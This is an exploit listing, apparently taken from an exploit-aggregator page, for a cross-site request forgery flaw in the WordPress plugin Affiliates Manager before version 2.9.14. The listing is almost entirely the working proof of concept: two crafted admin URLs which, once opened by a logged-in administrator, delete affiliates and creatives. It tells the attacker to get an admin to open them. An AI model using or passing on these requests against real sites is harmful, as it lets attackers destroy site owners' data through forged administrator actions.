Exploit for Affiliates Manager < 2.9.14 - Arbitrary Affiliates & Creatives Deletion via CSRF

Name: Exploit for Affiliates Manager < 2.9.14 - Arbitrary Affiliates & Creatives Deletion via CSRF
Rating: 5 (216 reviews)

2022-08-16 | CVSS 3.0

## https://sploitus.com/exploit?id=WPEX-ID:E4328BB5-CF74-496F-A66D-5B3F83A9EF51
Make a logged in admin open
- https://example.com/wp-admin/admin.php?page=wpam-affiliates&delete_aid=2
- http://example.com/wp-admin/admin-ajax.php?handler=deleteCreative&creativeId=2&action=wpam-ajax_request